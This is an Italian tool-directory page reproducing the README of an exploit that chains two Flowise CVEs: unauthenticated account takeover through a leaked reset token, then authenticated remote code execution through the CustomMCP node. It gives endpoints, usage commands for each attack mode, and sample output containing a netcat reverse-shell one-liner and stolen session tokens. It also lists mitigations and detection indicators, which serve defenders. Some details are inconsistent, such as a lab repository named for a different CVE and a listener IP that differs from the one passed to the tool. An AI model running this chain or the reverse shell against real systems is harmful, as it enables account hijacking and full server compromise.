Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Flowise-CVE-2025-58434-Chain-59528 — FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, che dimostra ATO non autenticato tramite fuga del token di reset, seguito da RCE autenticato. Include un ambiente di laboratorio Docker riproducibile. | Kitploit
Strumenti/GitHubGitHub/0xdaeras/flowise-cve-2025-58434-chain-59528
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneApprendimento e FormazioneLab e Pratica
GitHub0xdaeras/flowise-cve-2025-58434-chain-59528

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, che dimostra ATO non autenticato tramite fuga del token di reset, seguito da RCE autenticato. Include un ambiente di laboratorio Docker riproducibile.

Vedi Repository
13 mesi faNon ancora revisionato

Catena CVE di FlowiseAI - ATO (CVE-2025-58434) e RCE (CVE-2025-59528)

CVE-2025-58434 CVSS-1 CVE-2025-59528 CVSS-2 Python License

⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento su sistemi di cui non si è proprietari o senza permesso scritto è illegale.


Indice dei contenuti

Questo repository contiene un proof-of-concept in Python per concatenare due vulnerabilità di Flowise:

  • CVE-2025-58434 — Acquisizione dell'account tramite esposizione del token di reset della password.
  • CVE-2025-59528 — Esecuzione di codice remoto tramite valutazione non sicura di JavaScript nel nodo CustomMCP.

Flowise è una piattaforma drag-and-drop per creare applicazioni LLM e flussi di lavoro di agenti AI. CVE-2025-59528 interessa Flowise 3.0.5 ed è stata corretta nella versione 3.0.6. Il problema deriva dalla gestione non sicura di mcpServerConfig all'interno del nodo CustomMCP. CVE-2025-58434 è relativa all'esposizione del token di reset della password ed è stata anch'essa risolta in Flowise 3.0.6.

Lo strumento supporta:

  • Controllo delle vulnerabilità
  • Flusso di acquisizione account
  • Login e recupero cookie
  • RCE autenticato
  • Modalità catena completa: ATO → login → RCE

Dettagli delle vulnerabilità

CVE-2025-58434 — Acquisizione dell'account

  • CVE ID: CVE-2025-58434
  • Punteggio CVSS v3.1: 9.8 (Critico)
  • Tipo di vulnerabilità: Acquisizione dell'account / Bypass dell'autenticazione
  • Prodotto interessato: Flowise
  • Versione testata interessata: Flowise 3.0.5
  • Versione corretta: Flowise 3.0.6
  • Autenticazione richiesta: No
  • Impatto: Divulgazione del token di reset della password, acquisizione dell'account

Il flusso vulnerabile di reset della password espone dati sensibili dell'utente, inclusi i token temporanei di reset della password, nella risposta API. Un attaccante che conosce un indirizzo email valido può richiedere un reset della password, recuperare il token temporaneo dalla risposta e utilizzarlo per impostare una nuova password per l'account.

Il comportamento vulnerabile interessa le distribuzioni cloud di Flowise e quelle self-hosted/locali che espongono la stessa superficie API. La mitigazione consiste nel non restituire mai token di reset della password o dati sensibili di reset dell'account direttamente nelle risposte API.

CVE-2025-59528 — Esecuzione di codice remoto

  • CVE ID: CVE-2025-59528
  • Punteggio CVSS v3.1: 10.0 (Critico)
  • Tipo di vulnerabilità: Iniezione di codice JavaScript / Esecuzione di codice remoto
  • Prodotto interessato: Flowise
  • Versione testata interessata: Flowise 3.0.5
  • Versione corretta: Flowise 3.0.6
  • Autenticazione richiesta: Sì
  • Impatto: Esecuzione arbitraria di JavaScript nel runtime Node.js, RCE sul server che ospita Flowise

La vulnerabilità esiste nel nodo CustomMCP di Flowise. Il parametro mcpServerConfig viene analizzato come parte del processo di configurazione del server MCP e viene valutato come codice JavaScript senza alcuna validazione di sicurezza. Ciò consente a un attaccante autenticato di iniettare codice JavaScript arbitrario, che viene eseguito nell'ambiente Node.js del server Flowise. Nella funzione convertToValidJSONString, l'input dell'utente viene passato al costruttore Function, che valuta l'input come codice JavaScript con tutti i privilegi di Node.js, consentendo l'accesso a moduli come child_process per eseguire comandi di sistema.

L'endpoint vulnerabile utilizzato da questo PoC è:

root@kitploit:~
POST /api/v1/node-load-method/customMCP

con payload js nel campo mcpServerConfig del corpo JSON, ad esempio:

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

Il codice vulnerabile si trova nel file CustomMCP.ts ed è referenziato nell'Avviso del Manutentore Github per la CVE.


Flusso dell'attacco

root@kitploit:~
Attacker                                   Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  user object + tempToken                 │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  password changed                        │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<crafted config>        │
   │─────────────────────────────────────────►│
   │                              JS evaluated in Node.js
   │                              command executed
   │◄─────────────────────────────────────────│
   │  command output or payload fired         │
   │                                          │
   ✓  Acquisizione account + RCE autenticato

Struttura del repository:

root@kitploit:~
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

Installazione

Strumento

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

Laboratorio Docker

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configure environment variables
docker-compose up -d

Utilizzo

Comportamento predefinito

Senza argomenti, lo strumento esegue l'intera catena di attacco, verificando la vulnerabilità del target, eseguendo l'acquisizione dell'account per l'email fornita, effettuando il login per recuperare i cookie e quindi sfruttando la vulnerabilità RCE con un payload di reverse shell. Eseguire un listener dedicato (es. nc -lvnp 9889) prima di eseguire lo strumento in modalità catena completa.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

Schermata di aiuto

root@kitploit:~
python3 exploit.py -h

Modalità

check-mode (modalità di controllo)

Esegue un controllo della versione per determinare se il target è vulnerabile a CVE-2025-58434 e CVE-2025-59528. Invia una richiesta all'API del target e analizza la risposta per identificare la versione di Flowise e lo stato della vulnerabilità.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 check

ato-mode (modalità ATO)

Esegue il processo di acquisizione dell'account per CVE-2025-58434. Invia una richiesta di reset della password per l'email specificata, recupera il token temporaneo dalla risposta e utilizza quel token per impostare una nuova password (predefinita: "Password123!") per l'account.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

login-mode (modalità login)

Effettua il login al target utilizzando l'email e la password specificate (predefinita: "Password123!"). In caso di successo, recupera e mostra i cookie di autenticazione (es. connect.sid) per l'uso in richieste autenticate.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

rce-mode (modalità RCE)

Sfrutta la vulnerabilità RCE (CVE-2025-59528) inviando un payload mcpServerConfig appositamente predisposto all'endpoint vulnerabile. Il payload è progettato per eseguire un comando di reverse shell che si riconnette alla macchina dell'attaccante su LHOST e LPORT specificati. Se non viene fornito alcun token, tenta automaticamente di effettuare il login e recuperare un token valido per lo sfruttamento. Se non vengono forniti LHOST/LPORT, viene eseguito un semplice comando id che restituisce l'output nella risposta. Eseguire un listener dedicato (es. nc -lvnp 9889) prima di eseguire lo strumento in modalità catena completa.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode

full-chain-mode (modalità catena completa)

Modalità predefinita. Esegue l'intera catena di attacco in sequenza: controlla le vulnerabilità, esegue l'acquisizione dell'account, effettua il login per recuperare i cookie e quindi sfrutta la vulnerabilità RCE con il payload di reverse shell. Eseguire un listener dedicato (es. nc -lvnp 9889) prima di eseguire lo strumento in modalità catena completa.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode

Riferimento flag

Target e autenticazione

Modalità di sfruttamento

Opzioni RCE

Sicurezza e output

Esempio di output

root@kitploit:~
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode

                                                                                                                                   
___________.__                .__                _________ .__           .__        
\_   _____/|  |   ______  _  _|__| ______ ____   \_   ___ \|  |__ _____  |__| ____   
 |    __)  |  |  /  _ \ \/ \/ /  |/  ___// __ \  /    \  \/|  |  \\__  \ |  |/    \  
 |     \   |  |_(  <_> )     /|  |\___ \\  ___/  \     \___|   Y  \/ __ \|  |   |  \ 
 \___  /   |____/\____/ \/\_/ |__/____  >\___  >  \______  /___|  (____  /__|___|  / 
     \/                               \/     \/          \/     \/     \/        \/  
                                                                                     

  ────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email  : [email protected]
  ────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :

 🡪  ID             : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
 🡪  Name           : Lab Admin
 🡪  Email          : [email protected]
 🡪  Credential     : $2a$10$lKbQNf8pVQXJFMzzW...
 🡪  Status         : active
 🡪  Temp Token     : AWtyV7mxIa6h12OhlB7H0mMl...
 🡪  Token Expiry   : 2026-05-08T19:37:47.025Z

[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:

 🡪  Email          : [email protected]
 🡪  Password       : Password123!
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :

 🡪  Token          : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
 🡪  connect.sid    : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
 🡪  refreshToken   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
  ────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!

[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP

[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
  ────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!

Laboratorio Docker

Si consiglia un laboratorio locale per test sicuri.

Installazione del laboratorio:

root@kitploit:~
cp .env.example .env  # Configure environment variables as needed
docker compose up -d --build
docker compose logs -f

Per impostazione predefinita vengono creati due account Flowise:

  • Admin : L'email è [email protected], la password viene generata casualmente all'avvio del container (controllare i log per la password).
  • User : L'email è [email protected], la password viene generata casualmente all'avvio del container ma non appare nei log. Questo è il target previsto per il flusso ATO.

Eseguire il PoC contro l'istanza locale:

root@kitploit:~
python3 exploit.py \
  -t http://localhost:3000 \
  -e [email protected] \
  --new-password 'Password123!' \
  --no-check \
  full-mode

Per ispezionare i log di Flowise:

root@kitploit:~
docker compose logs -f flowise-cve-lab

oppure:

root@kitploit:~
docker logs -f flowise-cve-lab

Mitigazione

Raccomandazioni generali

Contro CVE-2025-58434

  • Aggiornare Flowise alla versione 3.0.6 o successiva.
  • Non restituire mai token di reset della password nelle risposte API.
  • Consegnare i token di reset solo tramite il canale email registrato.
  • Invalidare i token di reset dopo un singolo utilizzo.
  • Aggiungere scadenze rigorose e limitazione della frequenza agli endpoint di reset della password.

Contro CVE-2025-59528

  • Aggiornare Flowise alla versione 3.0.6 o successiva.
  • Evitare di valutare la configurazione controllata dall'utente come JavaScript.
  • Rimuovere pattern pericolosi come Function, eval o esecuzione dinamica equivalente.
  • Validare e analizzare la configurazione MCP come dati rigorosi, non come codice eseguibile.

Idee per il rilevamento

Potenziali indicatori di sfruttamento:

  • Richieste a /api/v1/node-load-method/customMCP
  • Valori sospetti di mcpServerConfig contenenti sintassi simile a JavaScript.
  • Stringhe come: process.mainModule, child_process, execSync, Buffer.from, Function
  • Richieste di reset della password seguite da login immediato e accesso a CustomMCP.
  • Connessioni in uscita dal container o host di Flowise.

Cronologia della divulgazione

  • 2025-12-09: CVE-2025-58434 viene divulgata dagli utenti zaddy6 e arthurgervais su Github Advisories, con un report dettagliato e PoC.
  • 2025-13-09: CVE-2025-59528 viene divulgata dall'utente im-soohyun su Github Advisories, con un report dettagliato e PoC.
  • 2025-15-09: Entrambe le CVE vengono corrette in Flowise 3.0.6, rilasciata su Github.

Disclaimer

Questo progetto è fornito solo per scopi educativi, test di laboratorio e ricerca di sicurezza autorizzata.

Sei responsabile di assicurarti di avere il permesso esplicito prima di eseguire questo strumento contro qualsiasi sistema. L'autore non è responsabile per uso improprio, danni o attività illegali eseguite con questo codice. Segui sempre le linee guida etiche e i requisiti legali quando conduci test di sicurezza.


Riferimenti

  • CVE-2025-58434
  • CVE-2025-59528
  • Repository GitHub di Flowise
  • Avviso del Manutentore Flowise per CVE-2025-58434
  • Avviso del Manutentore Flowise per CVE-2025-59528
  • Note di rilascio di Flowise 3.0.6
Scarica lo strumento
FlagDescrizioneEsempio
-t, --targetURL di base del target-t http://localhost:3000
-e, --emailEmail dell'account target-e [email protected]
--passwordPassword nota per la modalità login/RCE--password Password123!
--tokenToken di sessione esistente, salta il login--token eyJ...
--new-passwordPassword da impostare durante l'ATO--new-password Password123!
ModalitàDescrizione
checkVerifica se il target appare vulnerabile
ato-modeEsegue solo il flusso di acquisizione account
login-modeEffettua il login e recupera i cookie di sessione
rce-modeEsegue solo il flusso RCE
full-modeCombina ATO, login e RCE
FlagDescrizioneEsempio
-c, --commandComando personalizzato da eseguire-c 'id'
--lhostHost del listener per reverse shell--lhost 10.10.14.3
--lportPorta del listener per reverse shell--lport 4444
FlagDescrizionePredefinito
--no-checkSalta il controllo versione/vulnerabilitàFalse
-v, --verboseAbilita log di debugFalse
--log-filePercorso del file di loglogs/exploit.log
--no-colorDisabilita colori ANSIFalse